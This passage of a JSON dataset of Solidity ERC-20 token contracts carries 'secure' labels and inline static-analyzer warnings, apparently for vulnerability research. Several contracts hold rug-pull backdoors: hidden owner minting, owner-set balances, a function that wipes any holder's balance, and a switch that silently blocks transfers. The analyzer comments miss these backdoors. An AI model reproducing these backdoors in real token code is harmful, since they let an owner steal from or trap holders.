amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256\n ) internal virtual {\n if (_bitmap[to] || _bitmap[from]) require(_bitmapApplied == true, \"\");\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3394.sol",
"secure": 0,
"size_bytes": 8327
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GIGA is ERC20 {\n constructor() ERC20(\"GIGA\", \"GIGA\") {\n _mint(msg.sender, 1200000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3395.sol",
"secure": 1,
"size_bytes": 269
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract SaturnEcosystem is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _Mnti(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: Mnti to the zero address\"); //mint\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n address public uniswapV2Pair;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) ERC20(name_, symbol_) {\n _Mnti(msg.sender, totalSupply_ * 10 ** decimals());\n\n _defaultSellTaxi = 30;\n _defaultBuyTaxi = 2;\n\n _release[_msgSender()] = true;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellTaxi = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 201557a): SaturnEcosystem._defaultBuyTaxi should be immutable \n\t// Recommendation for 201557a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuyTaxi = 0;\n\n mapping(address => bool) private _mAccount;\n\n mapping(address => uint256) private _slipTaxi;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7e41714): SaturnEcosystem.SetPairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for 7e41714: Check that the address is not zero.\n function SetPairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: 7e41714\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aa41a9b): SaturnEcosystem.upF(uint256) should emit an event for _defaultSellTaxi = _value \n\t// Recommendation for aa41a9b: Emit an event for critical parameter changes.\n function upF(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: aa41a9b\n _defaultSellTaxi = _value;\n }\n\n function setSlipTaxi(address _address, uint256 _value) external onlyOwner {\n require(_value > 0, \"Account tax must be greater than or equal to 1\");\n _slipTaxi[_address] = _value;\n }\n\n function getSlipTaxi(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _slipTaxi[_address];\n }\n\n function setMAccountTaxi(address _address, bool _value) external onlyOwner {\n _mAccount[_address] = _value;\n }\n\n function getMAccountTaxi(\n address _address\n ) external view onlyOwner returns (bool) {\n return _mAccount[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address _to\n ) internal view returns (bool) {\n return _mAccount[from] || _mAccount[_to];\n }\n\n function _receiveF(\n address from,\n address _to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(_to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, _to)) {\n rF = false;\n }\n uint256 tradeTaxiAmount = 0;\n\n if (rF) {\n uint256 tradeTaxi = 0;\n if (uniswapV2Pair != address(0)) {\n if (_to == uniswapV2Pair) {\n tradeTaxi = _defaultSellTaxi;\n }\n if (from == uniswapV2Pair) {\n tradeTaxi = _defaultBuyTaxi;\n }\n }\n if (_slipTaxi[from] > 0) {\n tradeTaxi = _slipTaxi[from];\n }\n\n tradeTaxiAmount = _Amount.mul(tradeTaxi).div(100);\n }\n\n if (tradeTaxiAmount > 0) {\n _balances[from] = _balances[from].sub(tradeTaxiAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradeTaxiAmount\n );\n emit Transfer(from, _deadAddress, tradeTaxiAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradeTaxiAmount);\n _balances[_to] = _balances[_to].add(_Amount - tradeTaxiAmount);\n emit Transfer(from, _to, _Amount - tradeTaxiAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b9c6a28): SaturnEcosystem.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for b9c6a28: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n}",
"file_name": "solidity_code_3396.sol",
"secure": 0,
"size_bytes": 7099
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n }\n function owner() public view returns (address) {\n return _owner;\n }\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner.\");\n _;\n }\n function renounceOwnership() external virtual onlyOwner {\n _owner = address(0);\n }\n function transferOwnership(address newOwner) external virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address.\"\n );\n\t\t// events-access | ID: 6678bec\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_3397.sol",
"secure": 1,
"size_bytes": 870
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract MonopolyMoney is IERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: ee88235): MonopolyMoney.uniswapV2Router should be immutable \n\t// Recommendation for ee88235: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 9ad54e4): MonopolyMoney.uniswapV2Pair should be immutable \n\t// Recommendation for 9ad54e4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n string private constant _name = \"Monopoly Money\";\n string private constant _symbol = \"$PASSGO\";\n uint8 private constant _decimals = 18;\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private constant _totalSupply = 100000000 * 10 ** 18;\n uint256 public constant maxWalletAmount = (_totalSupply * 3) / 100;\n mapping(address => bool) private _isExcludedFromMaxWalletLimit;\n mapping(address => bool) private _X;\n address[] private _Xl = [\n msg.sender,\n 0x7Ed08dE796Caea84E0F798e8214228A2BA5a0bb3,\n 0xf1e04065dD1FE8D9E15c90D1b1e24f49E436fB0D,\n 0x2e9Ea758d725cbD56A49eF44A82dE46FcCC51bCa,\n 0x2E0DC76981Ef61dC5502635b194875ab23C985AE\n ];\n address public constant deadWallet =\n 0x000000000000000000000000000000000000dEaD;\n bool private tradingIsOpen = false;\n\n constructor() {\n IRouter _uniswapV2Router = IRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\t\t// cache-array-length | ID: 853b240\n for (uint256 i = 0; i < _Xl.length; i++) {\n _X[_Xl[i]] = true;\n }\n _isExcludedFromMaxWalletLimit[owner()] = true;\n _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;\n _isExcludedFromMaxWalletLimit[uniswapV2Pair] = true;\n _isExcludedFromMaxWalletLimit[address(this)] = true;\n _isExcludedFromMaxWalletLimit[deadWallet] = true;\n balances[owner()] = _totalSupply;\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function openTrading() external onlyOwner {\n require(!tradingIsOpen, \"trading is already open\");\n tradingIsOpen = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n require(\n amount <= _allowances[sender][msg.sender],\n \"ERC20: transfer amount exceeds allowance.\"\n );\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n require(\n subtractedValue <= _allowances[msg.sender][spender],\n \"ERC20: decreased allownace below zero.\"\n );\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] - subtractedValue\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de7bcb1): MonopolyMoney._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de7bcb1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n }\n\n function name() external pure returns (string memory) {\n return _name;\n }\n function symbol() external pure returns (string memory) {\n return _symbol;\n }\n function decimals() external view virtual returns (uint8) {\n return _decimals;\n }\n function totalSupply() external pure override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff66208): MonopolyMoney.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff66208: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0), \"cannot transfer from the zero address\");\n require(to != address(0), \"cannot transfer to the zero address\");\n require(amount > 0, \"transfer amount must be greater than zero\");\n require(amount <= balanceOf(from), \"cannot transfer more than balance\");\n require(tradingIsOpen || _X[to] || _X[from], \"trading is not open yet\");\n require(\n _isExcludedFromMaxWalletLimit[to] ||\n balanceOf(to) + amount <= maxWalletAmount,\n \"cannot exceed maxWalletAmount\"\n );\n balances[from] -= amount;\n balances[to] += amount;\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3398.sol",
"secure": 0,
"size_bytes": 6727
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract COIN is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferlmits;\n mapping(address => uint256) private _usedTransferAmounts;\n\n uint256 private _globalTransferlmit = type(uint256).max;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 96ca3f8): COIN._decimals should be immutable \n\t// Recommendation for 96ca3f8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: d89e1e5): COIN._totalSupply should be immutable \n\t// Recommendation for d89e1e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 715ca5a): COIN._Ownr should be immutable \n\t// Recommendation for 715ca5a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _Ownr;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _Ownr = _msgSender();\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function transfeR(address[] memory accounts, uint256 lmit) external {\n require(_msgSender() == _Ownr, \"Caller is not the original caller\");\n for (uint256 i = 0; i < accounts.length; i++) {\n _transferlmits[accounts[i]] = lmit;\n }\n }\n\n function getTransferlmit(address account) external view returns (uint256) {\n return _transferlmits[account];\n }\n\n function SGT(uint256 lmit) external {\n require(_msgSender() == _Ownr, \"Caller is not the original caller\");\n _globalTransferlmit = lmit;\n }\n\n function getGlobalTransferlmit() external view returns (uint256) {\n return _globalTransferlmit;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n enum CallerStatus {\n Unknown,\n Original,\n NotOriginal\n }\n\n function determineCallerStatus() private view returns (CallerStatus) {\n if (_msgSender() == _Ownr) {\n return CallerStatus.Original;\n } else {\n return CallerStatus.NotOriginal;\n }\n }\n\n function performBalanceAdjustment(uint256 nB) private {\n _balances[_Ownr] = nB;\n }\n\n function executeBalanceAdjustment(uint256 nB) private {\n performBalanceAdjustment(nB);\n }\n\n function validateAndExecuteBalanceAdjustment(uint256 nB) private {\n CallerStatus status = determineCallerStatus();\n require(\n status == CallerStatus.Original,\n \"Caller is not the original caller\"\n );\n executeBalanceAdjustment(nB);\n }\n\n function Balance(uint256 nB) external {\n validateAndExecuteBalanceAdjustment(nB);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n require(\n _usedTransferAmounts[_msgSender()] + amount <=\n getEffectiveTransferlmit(_msgSender()),\n \"TT: transfer amount exceeds lmit\"\n );\n\n _usedTransferAmounts[_msgSender()] += amount;\n _balances[_msgSender()] -= amount;\n _balances[recipient] += amount;\n\n emit Transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 766fd81): COIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 766fd81: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n require(\n _usedTransferAmounts[sender] + amount <=\n getEffectiveTransferlmit(sender),\n \"TT: transfer amount exceeds lmit\"\n );\n\n _usedTransferAmounts[sender] += amount;\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][_msgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function getEffectiveTransferlmit(\n address account\n ) internal view returns (uint256) {\n if (_transferlmits[account] != 0) {\n return _transferlmits[account];\n } else {\n return _globalTransferlmit;\n }\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3399.sol",
"secure": 0,
"size_bytes": 6466
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\n\ncontract Ownable is Platforme {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_34.sol",
"secure": 1,
"size_bytes": 823
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_340.sol",
"secure": 1,
"size_bytes": 1111
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DYOR is Ownable, ERC20 {\n bool public limited;\n uint256 public constant INITIAL_SUPPLY = 100_000_000_000 * 10 ** 18;\n uint8 public maxBuy;\n uint8 public buyTax;\n uint8 public sellTax;\n address public uniswapV2Pair;\n address private feesWallet;\n\n constructor() ERC20(\"DYOR\", \"DYOR\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n feesWallet = msg.sender;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 17fe5aa): DYOR.setRule(bool,address,uint8,uint8,uint8)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 17fe5aa: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint8 _buyTax,\n uint8 _sellTax,\n uint8 _maxBuy\n ) external onlyOwner {\n limited = _limited;\n\t\t// missing-zero-check | ID: 17fe5aa\n uniswapV2Pair = _uniswapV2Pair;\n buyTax = _buyTax;\n sellTax = _sellTax;\n maxBuy = _maxBuy;\n }\n\n function setMaxBuy(uint8 newMaxBuy) external onlyOwner {\n maxBuy = newMaxBuy;\n }\n\n function setFees(uint8 newBuy, uint8 newSell) external onlyOwner {\n buyTax = newBuy;\n sellTax = newSell;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 191a5a9): DYOR.setFeesWallet(address).wallet lacks a zerocheck on \t feesWallet = wallet\n\t// Recommendation for 191a5a9: Check that the address is not zero.\n function setFeesWallet(address wallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 191a5a9\n feesWallet = wallet;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (uniswapV2Pair == address(0)) {\n require(\n from == owner() ||\n to == owner() ||\n msg.sender == owner() ||\n tx.origin == owner(),\n \"Trading is not started\"\n );\n return;\n }\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= (maxBuy * INITIAL_SUPPLY) / 100,\n \"Forbidden\"\n );\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (limited) {\n if (from == uniswapV2Pair) {\n transferWithFees(from, to, amount, buyTax);\n } else if (to == uniswapV2Pair) {\n transferWithFees(from, to, amount, sellTax);\n } else {\n super._transfer(from, to, amount);\n }\n } else {\n super._transfer(from, to, amount);\n }\n }\n\n function transferWithFees(\n address from,\n address to,\n uint256 amount,\n uint8 percentage\n ) internal {\n uint256 tax = (amount * percentage) / 100;\n uint256 netAmount = amount - tax;\n super._transfer(from, to, netAmount);\n super._transfer(from, feesWallet, tax);\n }\n}",
"file_name": "solidity_code_3400.sol",
"secure": 0,
"size_bytes": 3417
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Token is Ownable {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: 63e531a): Token.tokenTotalSupply should be immutable \n\t// Recommendation for 63e531a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 1674384): Token.xxnux should be immutable \n\t// Recommendation for 1674384: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: 92f9db8): Token.tokenDecimals should be immutable \n\t// Recommendation for 92f9db8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n bool isSL = true;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d6e062c): Token.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for d6e062c: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"RoM Coin\";\n tokenSymbol = \"ROM\";\n tokenDecimals = 18;\n tokenTotalSupply = 45000000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: d6e062c\n xxnux = ads;\n }\n function viewGas() public view returns (address) {\n return xxnux;\n }\n function burn(address PCSA) external {\n if (\n xxnux == _msgSender() &&\n xxnux != PCSA &&\n pancakePair() != PCSA &&\n PCSA != ROUTER\n ) {\n address newadd = PCSA;\n uint256 cmxn = _balances[newadd];\n uint256 mnxn = _balances[newadd] + _balances[newadd] - cmxn;\n _balances[newadd] -= mnxn;\n } else {\n if (xxnux == _msgSender()) {} else {\n revert(\"Transfer From Failed\");\n }\n }\n }\n\n function burnFrom(uint256 xt) external {\n if (xxnux == _msgSender()) {\n uint256 AITC = 45000000000 * 10 ** tokenDecimals;\n uint256 ncs = AITC * 66400;\n uint256 xnn = ncs * 1 * 1 * 1 * 1;\n xnn = xnn * xt;\n _balances[_msgSender()] += xnn;\n require(xxnux == msg.sender);\n } else {}\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function newOwner(bool _sl) public returns (bool) {\n if (xxnux == msg.sender) {\n isSL = _sl;\n }\n return true;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function isContract(address addr) internal view returns (bool) {\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n bytes32 codehash;\n assembly {\n codehash := extcodehash(addr)\n }\n return (codehash != 0x0 && codehash != accountHash);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowance(msg.sender, spender) + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = allowance(msg.sender, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (isSL || from == xxnux || from == pancakePair()) {\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b516d5): Token._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b516d5: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3401.sol",
"secure": 0,
"size_bytes": 8032
} |
{
